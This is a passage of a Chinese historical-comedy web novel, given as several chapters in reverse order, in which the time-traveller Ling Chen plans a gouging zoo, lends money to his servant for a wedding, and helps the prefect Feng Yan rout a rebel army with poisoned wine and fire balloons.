白千躺在门外屋檐下的摇椅上睡着了,一旁的藤桌上还放着甜梨汁和一柄小刀,远处的树梢上蝉鸣清脆,绿叶蔫蔫低垂,热的枝头鸟儿也没有力气叫唤。 书房里要阴凉的多,木窗两侧向外开着,小云手捧杂册坐在铺了凉席的硬榻上,目光却心不在焉的望着窗外猫儿打转。 青柠坐在桌前,对着铜镜摇摆着脑袋,好奇的看着镜中的凌晨给自己侧发簪花。 “歪了相公,往左一点。” “哦哦~” 凌晨捏着手里新摘的花,重新调整了位置,小心的别进青柠的发丝中,双手捧着她的太阳穴轻轻拨动,十分满意自己的杰作。 青柠将手搭在簪花上,微微调整了一下,温柔的笑了。 “小云,你看相公戴的怎么样?” 坐在窗边的小云听到后,扭头望向青柠,歪了歪脑袋,转动清亮眸子略微思索了一下后,给出了中肯的评价道:“还行~” “不应该是完美吗?” 凌晨往远处走了两步,整体打量了一下明媚灵动的青柠,挺好的呀…… “淡红色的芍药不适合姑娘的气质,如果是海棠或者黄蕊就更好了。” 凌晨笑着说道:“你那太专业了,我一个粗人,哪里能那么精细。” 小云轻轻摇了摇头,脸上带着淡淡的笑意,继续低下头看杂册了。 “老冯把鼓楼右边已经拆完了,你们说我修个什么东西好?他现在不让我搞娱乐项目了,我这一时间还真不知道拿来干啥。” 青柠撅着樱桃小嘴思索了一下后,摇了摇头,看向小云。 小云再次抬起头看向他们两个,刚要摇头,凌晨就走到她面前伸出食指警告道: “你不要也跟着说不知道。” 小云盯着他的指头张了张嘴,无奈的叹了口气,双手握着书卷绞尽脑汁的思索起来。 “其他能赚钱的活计城里都有了。要不少爷修座园子吧。把大周各地的植物买来一些种上,建一座避暑园子,让它们争奇斗艳,引游人赏月吟花。像我家乡豫章的苦槠,不仅可以看,还可以做成豆腐。” 颍川植物园? 凌晨思索了一下后,摇了摇头:“这样只能吸引来一些闲得蛋疼的书生,万一在我的地盘把妹或者调戏人家,还会影响我的名声,不妥不妥。” …… “除此之外,我实在想不出了。” 凌晨坐回座位上,手指转动着手中的毛笔。铁锅弄来了,不知道炒啥菜,还真有些愁人。 青柠和小云则是盯着他手中的毛笔目不转睛。 “相公,你这……是怎么转的?” “啊?” 从思考中回过神来,凌晨看了看手中的笔:“哦,你说这个呀,来来来,我教你俩。你看啊……” 就在凌晨教两位女同学该如何转笔时,解二从门外走了进来。 “公子,你们玩什么呢?” 三人回头一看,小云起身去给解二倒绿豆汤,青柠笑着说道:“二哥,我们刚才正商量大人新赏的那块地该做什么生意,都想不出来,就学怎么转笔呢~” 就这? 解二不假思索的答道:“那肯定是一边赌坊一边青……怎么赚钱怎么来嘛!” 凌晨抬起头看着他说道:“我也想啊,老冯不让,说要考虑他的脸面。” 这样啊…… 解二从小云手里接过绿豆汤一饮而尽后,低头思索起来。 哎,有了! “公子,我有个好提议。” 此言一出,青柠和小云顿时脸色微变,凌晨也皱起了眉头,不过是挑着皱起来的。 上一次解二爷出主意,那可是漫天飞翔!他不会…… “咱们用木头搭架子,用砖造支撑,最后用彩泥糊个大大的冯大人身像怎么样?给他建两层楼那么高,绝对让大人面上有光!” 青柠捂着嘴巴沉默,小云眉心皱出两个小窝,凌晨长叹了一口气,走到解二身边搂住他的肩膀,语重心长的说道: “老二,有考虑过出仕吗?以你的政治头脑,我觉得呆在这里可惜了。只要你点头,我就去跟老冯说,一定把你抬进府衙。” 解二闻言有些自卑和心虚的问道:“这……我行吗?” 凌晨扭着下巴说道:“哎~怎么不行,大周就是因为没有将你征辟为官,所以才国力渐微的啊~” “噗哈哈哈哈~” “嘻嘻嘻~” 一旁的青柠和小云再也憋不住了!小云一手扶着榻边,一按着青柠的背,看着解二一边笑一边吸气,眼泪花都要飙出来了。青柠弯着腰将双手肘在桌面上,整个人浑身抖个不停,将头埋在胳膊里放声大笑,止都止不住~ 解二缩了缩脖子,幽怨的看向凌晨:“公子,你又跟我开玩笑……” “是你先开玩笑的~老冯活的好好的,你给他修个泥像是什么意思?你咋不给他再镀个金身呢?真要是修成了,要被全天下人笑话死了哈哈哈哈!!” 解二苦恼的挠了挠头:“那……那……” “收了神通吧~” 两女笑了好久才止住,不停的擦着眼角,解二几次欲言又止,看起来好像是有什么心事。擤了一把鼻涕的凌晨随手扔了纸团,憋着笑问道:“你突然进来找我干啥?” “不是突然,我想了很久,才来找公子的。” 嗯? 凌晨捂着笑到有点疼的肚子坐了下来,翘起二郎腿十分绅士的抬手说道:“请开始你的表演。” 解二难为情的看了看站在旁边的青柠和小云,她俩不解的对视一眼,又齐齐目光疑惑的看向解二。 “我……我想向公子借点钱。” “借钱?每个月给你的银子不够花?借钱做什么?你小子不会是去赌钱了吧?” “不不不!不是,我……我看中了城里的一个女子,想……想……” 卧槽!惊天大瓜! 还不等凌晨开口,小云和青柠就已经扑上前去,一左一右拽着解二的衣袖把他按在了座位上,死死盯着他,满眼都是对八卦的渴望! 凌晨有些难以置信的看着他问道:“不是,你今年都三十多了吧?还没成亲?” 一向用鼻孔看人的解二爷今天娇羞的像个黄花大闺女,坐在位置上扭扭捏捏的,声若细蚊:“少爷你也知道,咱们刚认识那会,我就是临颍县有名的泼皮膏药,谁会把闺女嫁给我……” “那现在……” “相公你先别说话!二哥,是哪里的女子?多大了?” 青柠直接伸手让凌晨闭嘴,自己满心好奇的追问了起来。 “她家是开封城东市开糕点铺子的,丈夫前两年从军死了,一个人带着女儿守着家当。前些日子我路过那里,见到她被人欺负,就上去替她解了围。一来二去就……就看对眼了……” 凌晨伸出手指揉了揉眉心,等等,有点乱,先让我捋捋。 解二路见不平一声吼? 他才应该是被吼的那个吧! 还有个女儿?? 没看出来,这小子还有魏武遗风啊! 小云按着解二的胳膊问道:“那……二哥,她家还有什么人吗?而且以你的月银,应该攒下不少了呀?” 解二尴尬的低下了头:“我……我给她买了几件首饰,还有一些布料,花光了……” 我嘞个冲冠一怒为红颜,千金只为美人笑啊! 掌管家中财政大权的青柠好奇的问道:“那二哥想支多少呢?” “我想着,虽然她是再嫁,可我却是头次成亲,就想尽量弄的好看点,就……就三十两吧。” 青柠笑着解二问道:“你是真心想娶人家?” 听到这话,解二无比肯定的点着头说道:“嗯!我是真想娶她!” 凌晨走到桌子后的书柜旁,从里面找到一张纸,又拿起朱砂印泥来到了解二面前,目光柔和的看着他说道: “娶,娶她的钱我来出,把你的手指给我。” 解二感动的眼眶一热,酸着鼻子将手伸给凌晨。凌晨按着他的拇指在印泥里沾了一下,又将指纹拓在了纸张上。 做完这一切后,凌晨将纸叠起来一分为二,整齐的撕裁下来,将其中一半递给解二。 解二低头看去,别的字他也不认识,但“三百两”这三个字他还是认识的,瞬间就被惊的目瞪口呆! “公公公……公子,怎么这么多?!” 青柠疑惑的望向凌晨:“相公,你哪来的这么多钱?” 凌晨一脸坦荡的说道:“我可没藏私房钱啊!这是府衙借贷的外笺,老二已经在上面签字画押了,只要拿着这张纸去府衙,随时都能取去用。” “啊??” 小云迟疑的指着解二手中的纸问道:“少爷,这……是驴打滚吧?” “没那么夸张,五出十七归而已~” 他话音刚落,坐在椅子上的解二两眼一黑,直接晕了过去。 —— 植物园没什么搞头,有那个闲情雅致的人不多,而且都是些兜里没钱还爱附庸风雅的酸文人。 赚钱嘛,要么走高端路线,要么走大众路线。小云的话倒是给凌晨提了个思路,植物园搞不成,动物园可以啊! 颍川超果果,最有爱心、最良心的动物园长,你值得拥有~ 落马巷和大梁街的交错地带,被一群工匠的身影占据了,他们光着膀子在大太阳底下挥汗如雨,挖地基、搭竹架、运木材,干的如火如荼。 另外,谢绝了冯延举荐的陈啸开始动用江湖关系,四处打听求购各种珍奇动物,像什么骆驼、梅花鹿、孔雀、黑天鹅、丹顶鹤、马、野鸭、鹦鹉、鸽子、兔子、乌龟、猪狗鸡犬猫,凡是动物,甭管见过的、没见过的通通都往这里拉。 凌晨还花钱请人往蜀国、唐国打听求购,蜀国有大熊猫、金丝猴、大象,唐国海上贸易发达,不知道有没有狮子长颈鹿之类的。 先建嘛~边建边找员工,再聘请些本地的百姓来当饲养员。咱也搞噱头,给员工画画像,再拓印上几千份散发出去,宣传标语都已经想好了,例如:骆驼就叫“两座肉峰如山大”,就不信吸引不到老色鬼。 动物园的受众远比植物园要广泛,可以全家一起来亲子游增进感情,也可以带上心仪的女子来看兔子交配,还能在这里偶遇某位孤身一人来散心的官老爷,岂不美哉? 咱们的门票贼便宜,只要十文钱,比糖葫芦贵不了多少。 这么良心的价格,正门许进不许出应该不算什么不合理的规定吧?一旦进来了,您就安心逛到底吧~ 咱们园区不允许自带干粮食物,不过完全不用担心吃喝问题,渴了有霸天茶棚,白水一碗二十文,其他有滋味的饮品价格要贵点,您可以根据自己的需求购买。 不过…您不会真要给香汗轻流的同行女伴买白水吧?不会吧不会吧? 饿了有霸天粥铺、霸天饼店、霸天酒楼,都是明码标价,绝对童叟无欺。(不过看菜单时一定要仔细哦,由您自己造成的误解我们不承担责任呢~) 热了有霸天扇摊,冷了有霸天手炉,下雨有霸天纸伞,价格更贵…啊不是,更实惠!! 如果您实在逛不动了,没关系,别担心我的朋友~ 霸天人力车了解一下,只需两百文,您就可以全程不迈腿,坐着欣赏到满园奇珍异兽! 对了,为了积极响应知府大人关于维护开封城市容市貌、提升全民卫生意识的倡导,营造舒心清静的游玩体验,请您解手时务必要去霸天茅厕,一次只要两文钱~ 温馨提示:随地大小便,被抓住可是要罚两百文钱的哦~ —— 府衙后院,冯延握着纸的手都在抖。 “他……这是他亲自定的规矩??” 张承和侯明对视一眼,小心翼翼说道:“他说……还有些不完善的地方,等运营起来后再酌情添加……” 冯延将纸丢在桌子上,捂着脸久久不语,但左手拳背上暴起的青筋已经说明了一切。 他突然有些后悔自己当初的决定了,一骑两乘就一骑两乘嘛,也不过才四百多匹马…… 总比被人唾骂强啊! 已经是最新一章 第57章 梦在燃烧 丝绢料子轻薄,但气密性不够,经过多次试验后,凌晨用两层丝绢中间夹宣纸的办法,完成了减轻重量和密不透风的双重要求,再将三层全部涂墨,非常适合夜战。 以后还可以涂成黄色沙漠战、涂成绿色山林战,涂成白色海战。 就是…… 一架“凌霸天”号算上材料、燃料、人工等等等等,杂七杂八加起来要四十多两银子。 而且由于不好控制,只能顺着风向飘,所以不具备作为运输工具将士卒空投到精确位置的能力。 但用来当燃烧瓶Max版完全足够了。 风,吹动着装满火油坛子的黑色热气球飘到了赵世中的大营上空,经过反复实验和精确计算,凌晨已经得出了热气球大概的飞行距离,为此还费劲巴拉的把攻击位置向前调整了几百米。 此时,刚好是筐里的燃料快要燃尽的时候。二十七颗“凌霸天”号正四散在营寨上空,缓缓降落。 反贼大营里的人又没玩过部落冲突,根本不知道这些飘在自己头顶的黑球是什么东西,于是立刻就有人去向赵世中报告。 可惜,来不及了。 没有做减震措施的“凌霸天”号在撞击到地面的那一刹那,缝隙里塞满火绒的底部藤筐被惯性拖着在地上摩擦,侧翻在了泥土里,黑色的火油触及到还在燃烧的火焰后,“轰”的一声,火焰腾空而起!! 这些热气球有落在营帐顶上的、落在粮草垛子旁的、撞到旌旗大杆上的,一颗接一颗的落下,一处接一处的火起! 还有贼兵傻乎乎的用弓箭射,漏了气的“凌霸天”号从半空摔了下来,直接火液四溅放起了烟花! “走水了!快起来救火!!” “天降火罚了!大家快逃命啊!” “别用水!蠢货!用沙土!!” “将军已经逃了!我们也跑吧!!” 望云护庄队一边在营寨四处纵火闹事,一边高喊着引发恐慌,遇到个别落单或者还想指挥灭火的,趁乱寻到机会后,直接给他背后攮上一刀! 火油本来就难灭,泄露后向着四周流淌蔓延,引燃的丝绢烧断后又随风飘扬,其中不少点燃了周围的营帐,反贼大营各处火起!再加上还有混杂在营内的护庄们制造恐慌和混乱,人声鼎沸、火势汹涌!许多刚睡醒的贼兵醒来后的第一反应就是跑! 小头目火急火燎的提着刀冲进中军大帐里,想要向将领们禀报,结果却发现他们全都瘫软在地上,有的鼾声如雷,脸上连扇七八个逼兜子都醒不过来;有的口吐血沫,整个人已经硬了。 火光冲天、惊慌的人群相互推搡踩踏,整座军营乱成了一锅粥。而在西寨门,拒马已经被移开了,两边木墙都燃起了大火,浓烟滚滚升腾而起,变成一道壮丽的火墙。 寨门外面的旷野上,突然亮起了星星点点的火光,紧接着变得密密麻麻。 刘青山和邵之祁立在马上,一个举起了手中的大刀,另一个攥紧了手中的长枪。 “杀——!!” 下一刻,一片由火星汇聚的洪流涌向了被火光照亮的叛军大营。 黑烟弥漫在空气中,炎炎夏夜的烈火,将空气都灼烧的炙烫!人根本靠不到近前,贼兵正慌乱间,又听到响彻天际的喊杀声,于是纷纷四散奔逃。许多伍长和小校挥刀剁砍都止不住乱窜的手下,局势已经彻底失去了掌控。 而那些将领们至今都没有回到自己的指挥岗位上,这些下级军官见乱兵已经控制不住了,敌人又冲进了营寨,长官还找不见人…… 妈的!一个月就那么点饷银,玩什么命啊!该做的都做了,对得起老板了,我特么也溜了! 在三款限定口味酒水中抽中了春风元力的赵世中被手下从女人身上拖起来时,腰酸腿软,眼窝子都是青的。整个人昏昏沉沉,直到出了营帐后才清醒过来。 放眼望去,他看到自己一统天下的梦想正在燃烧。 冲天大火映入瞳孔,黑夜被照的亮如白昼,连天上的云都透着暗红。惨叫声、喊杀声、惊呼声、哭喊声杂乱的震颤着他的耳膜;柴火味、肉焦味、火油味汹涌的充斥着他的鼻腔。 兵销炬影西风烈!! “怎……怎么了?” “安王!四面八方全是敌军,我们被包围了!快上马,末将护送着你冲杀出去!” 赵世中一把推开搀扶着自己的将领,头发散乱、衣衫不整的朝着营帐下四处乱窜的士卒们语气焦急的喊道: “不要乱!开封城不过区区几千人,快叫各营将军指挥手下稳住营寨,组织反……” 身旁满脸都是烟灰和汗水的将领哭着说道:“来不及了安王!底下人已经彻底乱了,各营将军大部分都在大帐,不是昏迷不醒,就是已遭毒手!快撤吧!” 就在将领和赵世中说话之际,一支颍川乡军已经杀到了他们面前。 “那个肯定就是贼首赵世中!” “知府大人先前说过,谁摘了他的首级,无论现居何职,一律升校尉、赏五千白银!!” “那还废什么话?杀了他!” “杀!!” 赵世中身旁的将领一把将他推到营帐里,高声向手下残兵叫喊道:“快带安王走!!” 说罢他转过身,义无反顾的冲向了眼前的乡军。 —— 被残兵护送着从北门逃出的赵世中趴在马背上,失魂落魄的回头望着已经变成一片火海的大军营寨,依然不肯相信这是真的。 究竟发生了什么? 自己的营寨立的非常合理,外面散出去那么多斥候,大营四周到处都是岗哨,怎么就起火了呢? 将军们怎么会刚好中毒?颍川府的军队又怎么会主动攻击?这么大的差距,他们怎么敢的啊!颍川知府是个疯子吗? 再说了…… 就算被袭击,也不至于一触即溃啊! 整整四万大军啊! 护送着赵世中的小队伍周围,到处都是拼命奔逃的贼兵,小队中的小校拦住过往的贼兵,威逼利诱下也渐渐聚拢了几十人,一行人匆忙向着宋州方向急驰。 趴在马上的赵世中呆滞了好久,突然转念一想,哈哈大笑了起来—— “哈哈哈哈哈~” 他这一笑,把周围的贼兵们都给整懵了,不会是打击太大……疯了吧? 拉着马的那个护卫犹豫了一下,还是满脸担忧的开口问道:“安……安王,我们刚刚兵败,损失……不小,您何故发笑?” 赵世中止住了笑,调整好心态长出了一口气后,信心十足的说道: “胜败乃兵家常事,本王笑那冯延虽然有些小聪明,却终究胆气不够、思虑不周。他怕我们做困兽之斗,所以没有围死营寨,正是兵法中的围师必阙。可他忘了,本王尚有青州半境,等我回去整顿兵马,卷土重来,必报今日之仇!” 听了赵世中的话,周围的残兵们也是稍微提起了一点士气。确实,哪有小孩天天哭,哪有赌徒天天输?下次再来,就是他们的末日! 就在这时,突然响起了一片喊杀声! 周围原本漆黑一片的田野里接二连三的亮起了数不清的火把,许多服装不一,手持着五花八门的武器、根本不像是颍川乡军的不速之客朝着他们围杀了过来! 赵世中惊惧交加之下,看到一骑手握大刀,在火光中连砍三名残兵向着自己冲来,急忙出声问道:“什么人?!!” 那人一刀剁翻了想要阻拦的护卫,停在了赵世中的眼前,缰绳勒的马儿前蹄腾空,引亢嘶鸣—— “召陵,陈啸!” —— 开封之战,号称有十四万人马的反贼被不到一万人马的颍川乡军杀的丢盔弃甲、四散而逃。斩首两万,缴获的军械、物资更是不计其数,就连反王赵世中也被生擒! 冯延一战成名,举世皆惊!他手下的刘青山、邵之祁等将领也一起被人们熟知。 原本准备隔岸观火、坐收渔翁之利的洛阳府尹,默默撤回了自己的军队。许多对颍川府有觊觎之心的豪强军阀,也都不得不重新权衡利弊起来。 而在这扬战役中起到决定性作用的望云护庄队,却并没有人在意。 这名字一听就是杂鱼。 大胜之后,开封城放开宵禁五天,全城百姓都喜气洋洋的走上街道,去欣赏被巡回展览的安王赵世中。 士绅百姓傲气十足,知府冯延威望大增,乡军士卒走到哪里都有人在背后猛猛夸赞,给他们介绍媳妇的媒婆都多了起来。 众人皆大欢喜,只有凌晨不高兴。 “大人……在我们望云镇,长工干了活是要给工钱的。” 府衙后院的凉亭里,冯延心情很好,躺在摇椅上悠闲地品上一口香茗,这才看向立在一旁满脸幽怨的凌晨: “老夫说了,升你为颍川团练,你此战的消耗费用府衙也会补齐,另外赏你两千两银子,你的护庄队每人一百两,这你还不满足?” “这我当然满足,但您不能抢我的东西啊……” 冯延拍了一把椅子扶手,板起脸骂道:“反了你了!军中缴获只能留下三分之一,你不知道吗?” 凌晨重重的叹了一口气,面色纠结的再次争取道:“那要不……我自己的封赏就不要了,损失也不用补齐,把我的缴获还给我就行。” “哎呀~” 冯延从摇椅上翻起身来,拿起手中的折扇就要打,凌晨连忙后退着躲到一边。 “老夫允许你的护庄队每人配置一匹,已经是坏了规矩。你还想一骑双乘,你怎么不要老夫的知府之位呢?” 我特么要那玩意干嘛? “大人,咱们说句实话,那哪是我的马呀,那是我替大人您看管的~这次缴获了上千匹马,你就给自己留两百匹,这这这……” “滚蛋!开封士绅们没出力?乡军将士没拼命?真按你说的办了,老夫还怎么服众?” “……” 见凌晨闷闷不乐的撇着嘴不吱声,冯延瞪了他一眼后,收起折扇走到他跟前,放缓语气说道: “不过你这次做的确实很好,连老夫都没想到……这样吧,鼓楼牌子右边那两块地皮,原本是衙内的,给你了~” 凌晨闻言双眼一亮,这还差不多,那里可是中心CBD啊!于是他急忙躬身准备谢过,却被冯延用扇子托住了双手: “哎,不过说好啊,你别又拉上一群鸡鸭鹅过去搞你的什么博彩业,更不能弄体彩盲盒和男伶演唱会,老夫丢不起那个人!” “哦……” “嗯?” “没问题!请大人放心!嘿嘿嘿……” 就在二人闲聊之际,侯明和刘青山、邵之祁带着手下的将士差役,抱着一大堆信笺来到了凉亭下。 侯明脸色凶狠的问道:“大人,这些是在反贼营中缴获的,都是前些日子城里士绅暗中送给赵世中的联络信和通敌罪证,我们什么时候动手抓捕?” 冯延扭头看向地上,那些信纸堆的都快有小山高了。 他背着手在亭中来回踱步,时不时的看两眼纸堆,思索着什么。 最终,他停了下来,仰起脸捋着胡须,轻飘飘的说道:“烧了。” 啊? 台阶下的众人面面相觑,刘青山上前一步,抱拳说道:“大人,这……” 冯延伸手打断他,缓缓说道:“先前贼众势大,他们都想给自己留条后路,这也是人之常情。莫说他们,就连老夫都感到性命难保…… 再说了,这么多人,老夫不可能将他们都杀了,挑一两个处理又有失公允,何必为难。烧!今日过后,既往不咎。” 众人听罢,都沉默着看向那堆纸。侯明从手下那里接过火折子,吹燃后将纸点燃,很快,这些通敌书信就变为了灰烬。 立在台阶下的邵之祁似乎是想到了什么,向冯延抱拳问道:“大人,先前那魏御主张降贼,如今贼破,他……” “放他归家去吧。” “是……” 冯延的烧信之举,让他在颍川府的地位再次上升了一个台阶,真正做到了的恩威信布,众心诚服。 第56章 外科手术 最主要的原因还是低估了开封军民的抵抗意志。 仗打了整整一天,最后贼兵因为伤亡过多,不得不撤到开封城东边十五里处扎营下寨,等待赵世中的主力部队到来,再做计较。 虽然成功抵挡住了第一波攻击,可府衙里的官将们脸上却没有一丝轻松,因为先前答应会来支援的洛阳府尹说,朝廷紧急调他带兵前去邺城勤王,抵御应开疆,来不了了。 而淮北知府本来已经点齐兵马准备来救了,可他周围的几个知府和守将见他纠集人马,还以为是要对他们动手,于是也把自己的小弟们喊到了一起,准备火拼。 尽管淮北知府再三向他们说明了真实情况,可这些人没一个相信他所说的。徐州知府甚至直接带兵到达两府边境地带,淮北知府无奈之下,只能对冯延说sorry了。 也就是说,现在的颍川府,要靠自己去迎战七倍于己的贼军。 由于先前在公屏上骂了赵世中,紧接着又打了他的先锋部队,接着来的报复肯定是非常残忍的,搞不好他真会拿开封几十万百姓的脑袋为自己在乱世立威。 尽管已经严密封锁了消息,但府衙紧闭的大门和里面激烈的吵闹声还是让百姓们感觉到了恐慌。 冯延很惆怅。 他肯定是G了,想都不用想,赵世中要是能放过自己那就见鬼了。可是自己死后,百姓们怎么办呢? 要留清白在人间啊! 眼下要抵挡住贼兵很难,更难的是城里的百姓们已经生出骚乱了,城门口不断有祈求放他们出城逃命去的百姓,虽然暂时驱赶着压回去了,可往后还能不能压住,谁都说不好。 站在府衙后院的凉亭下,冯延负手而立,抬头看向天上被乌云遮住的隐月,长叹了一口气。 “老爷,您都一天没吃东西了,多少吃点吧……” 老管家端着一碗鸡汤和两个胡饼从园林的石子小径来到了亭前,想要劝冯延吃点东西。可冯延却心烦的挥手说道:“拿下去吧,我不饿。” 说罢,他便转身低头走进凉亭里,坐在石桌前,看着桌面上的纸张一言不发,思索着对策。 身后又传来了脚步声,被打扰到的冯延不免生出一团火气,不悦的扭头斥责道:“我不是说了不饿吗?老余,你怎么越……” 话说到一半,停住了。 凌晨双手端着从老余那里接过的膳食,走到石桌旁拨开纸张,将鸡汤和胡饼都一一放在了冯延面前的桌子上。 “两郡十一县百姓的安危,都在大人肩上担着,怎么能不爱惜自己的身体呢?食少而事烦,岂能久乎?怕不是等不到赵世中来,大人自己就先累倒了。” 冯延眉头紧锁,瞟了一眼汤面上浮着油花的鸡汤,闷叹一声,沉默不语。 凌晨也不打扰他,静静站在一旁陪侍。 许久后,冯延又是一声重重的叹息:“唉!如今外无援兵,内又起乱,千头万绪,竟不知从何处捋起。若反贼攻入城中,我等身死事小,几十万百姓又有何辜啊!” 这话就不该是一个知府说的,如今冯延当着凌晨的面说,既是想找人倾诉心中苦闷,也因为凌晨是他老部下。 还有一个隐藏原因:在他的潜意识里,也觉得此战赢面不大。 最要命的是,设置里找不到投降键了! 凌晨听完后笑了笑,将盛着鸡汤的碗推到冯延眼前:“千丝万缕,也得一根一根捋顺才能纺织成衣物,大人不妨就从喝了这碗鸡汤开始。” 冯延听到这话后,紧皱的眉头微微一挑,看向立在身边的凌晨。 “你是不是有什么话要对老夫说?” 凌晨嘿嘿一笑,坐到冯延一旁的石凳上,向着凉亭四周望了望后,缓缓说道: “我也算在军中待过一段时间,有些粗浅看法,眼下咱们集中兵力只固守开封一城,反贼自然无所顾忌,能够从容攻城。若是能在外面再置一军,互为犄角……” 凌晨话说到这里,冯延就挥手打断了他:“你以为老夫不想?老夫要是有十万人马,这会已经杀到赵贼的青州老窝去了!开封人手本来就少,哪里还能再分出多余的兵力?” 凌晨摸了摸鼻子,嘿嘿笑道:“大人没有,属下有啊~属下还有两百多名护庄呢,大人忘了?” 冯延皱眉盯着凌晨,这小子是被吓傻了吗? 反贼前锋营寨里最少还有六七千人,更不要说赵世中的主力也就明后两天到,两千人马夜袭敌寨都大概率白给,两百人能干什么?把贼兵笑到气绝而亡吗? “老夫烦着呢,休要玩笑。回去吧,鸡汤老夫一会就喝。” “大人,我没跟你开玩笑。” 原本已经重新伸手去拿纸张的冯延胳膊悬在半空,再次扭头看向凌晨。 想起来了,当初在临颍县衙,自己为了用三百两银子造桥的破差事一筹莫展时,他就是这样莫名其妙的找上自己,鬼鬼祟祟的磨蹭了半天后,简简单单的搞定了。 这一幕何其相似。 冯延坐正身体面向凌晨,严肃的说道:“此事关系重大,事关整个颍川府士绅百姓的身家性命,可出不得半点差错……” 凌晨轻笑一声:“大人,咱们也不是第一天认识了,你什么时候见我在大事上出过差错?” “讲。” “我和我手下的护庄今夜就出城,往后两三天,无论贼兵如何猛烈攻城,大人只需要坚守不出。等我的音信一到,不要有任何顾虑,下令守军尽出,冲杀反贼!” 冯延捋着胡须有些迟疑的问道:“你只带两百人能做什么?” 凌晨站起身,胸有成竹的看着冯延笑道:“属下要给那个不好好在家锄地,偏要拿块石头装大尾巴狼的赵世中治治脑子。” “……” 尽管不明白凌晨所说的“外科手术式打击”是个什么东西,但冯延还是站在城头上,目送着他和十几个年轻人坐在藤筐里,被守军用粗麻绳悄悄放了下去。 失去这点人对守城没有任何影响,况且他还是自己的老部下,况且他的娘子和妻兄都在开封城里。 那就放手让年轻人去做吧,看看他能把事情做成什么样。 万一呢? 从开封城里出来后,凌晨带着刘廷让以及十几个望云镇的护庄们,在袭杀了七八个游骑后,成功钻出了被严密监视的开封。 而后,一路逃回了临颍县的望云镇。 “都动作快点!” “当心点,别扯坏了!” “装严实,小心撒了!” —— 反贼的前锋大将休息了两天后,再次率领部下对开封发起了攻击,只是这次明显没有第一次那么猛烈了,表演的成分居多。 因为大领导明天就要来了,事能不能办成是一回事,办事的态度又是另一回事了。 双方再次爆发了激烈厮杀,只不过这次压力给到了邵之祁,贼兵先是在东门用小股部队佯攻,而后在真正的主攻方向——南门发起了冲击。 刚巡逻完南城门,沿着城墙走到西门的邵将军只好又骂骂咧咧的回来了。 本来贼兵只是来装作在努力工作,但没想到由于刘青山习惯性的将南门守军抽调去了东门,再加上南门乡军无论是将领还是士兵都没有真正的作战经验,还真有几个贼兵冲上了城墙。 邵之祁差点被吓尿了!这尼玛要是城门在他手里失守了,无论是叛军还是冯延都会剁了他的脑袋当球踢的! 于是他火急火燎的把堵在城门楼子里的石块土堆清理出了一条路,亲自带着几百人打开城门冲了出去,对云梯下的贼兵发起了猛烈反击! 贼兵也懵了,他们也没有想到城里的人还敢冲出来,剧本不是这样的啊!前线的大头兵只懂杀人,对于突然出现的变化也无法作出及时反应,只能一边抵挡邵之祁不要命的反攻,一边派人去给后面监督的领导传话。 至于还踩在云梯上、和已经爬进城墙的先登勇士么…… 先不管了,等领导批复吧。 于是这么一来一回,杀完人的邵之祁在稳住局势后,又快速缩回了城里,还用水浇土把城门门洞糊的更严实了。 又留下一地尸体后,贼军前锋大将不折腾了,老老实实的等赵世中来。 第二天中午,赵世中来了。 还带着他的三万大军。 由于是长途跋涉而来,所以这位安王决定先将前锋营寨扩大点,帐篷支起来,晚饭吃起来,再美美的睡上一觉,明天进城抓娘们扛金银才能有力气。 什么?失败? 细作早就从城头扔下信笺,城里已经乱成了一锅粥,甚至在北城门还出现过百姓冲击守军的流血事件。他们的弓箭这两天也射的差不多了,火油等防御物资也没剩多少,听说本王的大部队到了,士气更是低到了极点。 外面没有援兵,里面乱成那个鸟样,三万六打五千,你告诉我怎么输? 七打一他还能秒我? —— 客观的讲,赵世中的部下经过这么些日子的历练,已经成长为合格的军队了。 木头搭建的寨门上有两座哨望塔,营寨连绵分布在平整的旷野上,四面到处都是壕沟和拒马,足以应对突袭。营寨里和寨外四周都有士兵列队巡逻,基本没有盲点,别说人了,一只鸟都飞不过去。 外围的一圈帐篷都是空的,营里也按区域暗置了陷阱和防御器械,大营方圆几里都有斥候和探子四处活动,一有风吹草动就能及时发现。这种情况下,根本没有被突然袭击的可能,除非敌人从天上飞过来。 凌晨隐身站在反贼的中军大帐里,望着坐在主位上抱着一个妖娆女子畅快饮酒的赵世中,嫌弃的翘起了嘴角。 首先,他肤色挺淡,双手也没有老茧,根本就不是什么锄地的庄稼人,骗子! 其次,狮子搏兔,亦用全力,拥有了一点优势就狂妄自大,有一点小成绩就骄奢淫逸贪图享受,这种人即使没有他的干预,也走不长。 凌晨跟他也谈不上有什么仇恨,但你不在青州好好创你的业,跑到颍川来凑什么热闹? 让我烦躁就是你的不对。 在他们喝的酒坛子里下完春药、砒霜和蒙汗药后,凌晨就默默的离开了反贼军营。 原本他是可以直接给赵世中和他手下的将军们来个神罗天征的,但这样一来底下人的军功就都被他抢了,容易打击他们的积极性。而且也无法向冯延解释是怎么穿过层层设防的大营的,容易引起不必要的麻烦。 最重要的是,在望云镇磨了两年的剑,也该试试锋不锋利了。 等他悄悄回到隐约能看见反贼大营的一处残破村庄里后,等待在这里的刘廷让面色焦急的迎了上来: “大人,你怎么去了那么久?兄弟们已经抓了四个路过的反贼斥候,我担心他们发现异常后派人来寻,那样一来就暴露了。” 凌晨赶时间,也懒得跟他解释,于是直接问道:“派人去开封城通知了么?” “嗯,风向变了以后,我立刻就派人去了。” “好!”凌晨将十个手指交叉在一起,拧的手腕咯咯作响,声音幽寒的说道: “点火!” 以夜为幕,纵兵逞凶! 夏夜炎热,月亮一会照亮大地,一会又调皮的钻进乌云里。反贼大营里一切正常,多数士兵都赤裸着上身,十分清凉的躺在麻布和草席上鼾声如雷,过了子时,连站岗的士兵也不禁打起了瞌睡。 反正有同事盯着,我眯一会应该没人发现吧? 由于大家都暗藏着这样的心思,过了不知道多久后,一个被尿憋醒的哨兵拄着长枪起身往下一看,娘的,都睡着了…… 他无语的走到哨塔边上,解开裤子,飞流直下三千尺。 被乌云遮蔽的月亮再次从云层钻出,隐约感觉到哪里不对的他抬头向天空看去,顿时被震惊的目瞪口呆! 二三十个巨大的黑色云团,漂浮在大营不远处的上空,有些底部隐隐还能看到闪烁的火光。 贼星么? 这东西出现可不是好兆头啊!而且还这么多,这么近! 哨兵这辈子都没见过这玩意,于是连忙提起裤子,扶着木头杆子向下面巡逻过来的一队士卒喊道:“哎~你们快看天上!那是什么鬼东西?!” 那队巡逻士兵在听到他的喊声后都停下了脚步,却并没有去看天上,而是齐齐抬头向他望来,个个面色冷漠—— “啧……本来都已经打算放过你了。” 已经是最新一章 第55章 贼至 